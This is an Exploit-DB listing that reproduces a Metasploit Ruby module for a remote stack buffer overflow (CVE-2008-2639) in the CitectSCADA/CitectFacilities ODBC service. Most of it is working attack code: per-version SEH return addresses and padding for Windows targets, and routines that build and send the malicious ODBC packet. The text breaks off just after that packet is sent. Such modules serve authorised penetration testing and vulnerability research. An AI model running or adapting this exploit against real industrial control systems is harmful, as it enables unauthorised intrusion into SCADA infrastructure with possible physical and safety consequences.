Exploit-DB #16380
Description: CitectSCADA/CitectFacilities ODBC - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: citect_scada_odbc.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CitectSCADA/CitectFacilities ODBC Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in CitectSCADA's ODBC daemon.
				This has only been tested against Citect v5, v6 and v7.
			},
			'Author'         =>
				[
					'KF <kf_lists[at]digitalmunition.com>', # Original Metasploit module
					'patrick', # Some clean up - I'm sure there's more to be done :)
				],
			'Version'        => '$Revision: 11039 $',
			'References'     =>
				[
					[ 'CVE', '2008-2639' ],
					[ 'BID', '29634' ],
					[ 'OSVDB', '46105' ],
					[ 'URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability' ],
					[ 'URL', 'http://www.auscert.org.au/render.html?it=9433' ],
					[ 'URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf' ],
					[ 'URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space' => 212,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					# Notes:
					# * "Known" releases: 5.40, 5.40 Service Pack (aka 'sp') C, 5.41, 5.41 sp B, 5.42, 5.42 sp A, 5.5, 5.5 sp A, 5.5 sp B, 5.5 sp C
					#   6.0, 6.0 sp A, 6.1, 6.1 sp A, 6.1 sp B, 7.0, 7.0 Release 2, 7.1 Off Process Beta, 7.1 On Process Beta 1, 7.10.
					# * Many targets are missing. v7+ is presumably patched.
					# * CiExceptionMailer.dll can be arbitrarily remapped by other DLLs and were not matching in my environment when changing OSes.
					# * Return addresses (p/p/r) are universal within Citect32.exe across NT4/2K/XP - offset ('Pad') varies likely by OS but not yet confirmed.
					# * Initial attempts at finding common return addresses within v5.21, 5.41, 6.0 DLLs returned nil result. Opcodes listed at end of module.
					# * Windows 98 target removed to conform with the Framework payload support.
					# * Varying hardcoded payload lengths, offsets, padding, nopsled and jumps from original module removed
					#   in favour of standard 212 byte payload + padding to SeH & dynamic backwards jump.
					# * Targets labelled 'untested but correct' from original module have not been QA'ed; mathematically the payload size + jump were correct and expected to work.
					# * Targets labelled 'untested and possibly incorrect' had unexpected payload size and jump lengths. Potentially incorrect or jumping into a copy of the buffer elsewhere.
					['Citect32.exe v5.21 NT4',				{ 'Version' => '5.21',		'Ret' => 0x0058caa3, 'Pad' => 0   } ], # Patrick tested OK nt4sp4
					['Citect32.exe v5.21 2K/XP',				{ 'Version' => '5.21',		'Ret' => 0x0058caa3, 'Pad' => 4   } ], # Patrick tested OK xp, 2k
					['Citect32.exe v5.41-r0 NT4',				{ 'Version' => '5.41-r0',	'Ret' => 0x005d8000, 'Pad' => 0   } ], # Patrick tested OK nt4sp4
					['Citect32.exe v5.41-r0 2K/XP',				{ 'Version' => '5.41-r0',	'Ret' => 0x005d8000, 'Pad' => 4   } ], # Patrick tested OK xp, 2k
					['Citect32.exe v6.0-r0 2K/XP',				{ 'Version' => '6.0-r0',	'Ret' => 0x006030e1, 'Pad' => 4   } ], # Patrick tested OK xp, 2k
					['CiExceptionMailer.dll v5.42 on XP Sp2 or SP3',	{ 'Version' => '5.42',		'Ret' => 0x003a530e, 'Pad' => 4   } ], # untested but correct
					['CiExceptionMailer.dll v6.0-r0 on Server 2003 Sp2',	{ 'Version' => '6.0-r0',	'Ret' => 0x003a6aad, 'Pad' => 0   } ], # untested but correct
					['CiExceptionMailer.dll v6.0-r0 on XP Sp2 or SP3',	{ 'Version' => '6.0-r0',	'Ret' => 0x0039cd5a, 'Pad' => 4   } ], # untested but correct
					['CiExceptionMailer.dll v6.10 on XP Sp2 or SP3',	{ 'Version' => '6.10',		'Ret' => 0x00501113, 'Pad' => 168 } ], # untested and possibly incorrect
					['CiExceptionMailer.dll v7.0-r0 on XP Sp2 or SP3',	{ 'Version' => '7.0-r0',	'Ret' => 0x003e1e92, 'Pad' => 168 } ], # untested and possibly incorrect
					['CiExceptionMailer.dll v7.0-r0 on 2003 Server SP1',	{ 'Version' => '7.0-r0',	'Ret' => 0x003d59d7, 'Pad' => 164 } ], # untested and possibly incorrect
					['CiExceptionMailer.dll v5.50-r0 XP SP2',		{ 'Version' => '5.50-r0',	'Ret' => 0x003a5e90, 'Pad' => 4   } ], # untested but correct
					['CiExceptionMailer.dll v5.50-r0 2003 Server',		{ 'Version' => '5.50-r0',	'Ret' => 0x003952ee, 'Pad' => 0   } ], # untested but correct
					['Debug',						{ 'Version' => 'debug',		'Ret' => 0x44434241, 'Pad' => 0   } ],
				],

			'Privileged'     => false,
			'DisclosureDate' => 'June 11 2008'
			))

			register_options(
			[
				Opt::RPORT(20222)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		if (target['Version'] =~ /debug/)
			# Use this to find offsets for other versions that were not provided.
			mal = Rex::Text.pattern_create(payload_space, Rex::Text::DefaultPatternSets)
			print_status("Use pattern_offset.rb to find the length")
		else
			mal = payload.encoded + make_nops(target['Pad'])
			mal << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack("V")
			mal << Rex::Arch::X86.jmp(-(mal.length+5)) # Jump back to our payload - can't fit payload after SeH.
		end

		wakeup = [0x02].pack('Q')[0..4] + [mal.length].pack("N") + mal

		len = [wakeup.length].pack("N")
		sock.put(len)
		sock.put(wakeup)

		print_status("Sent malicious ODBC packet...")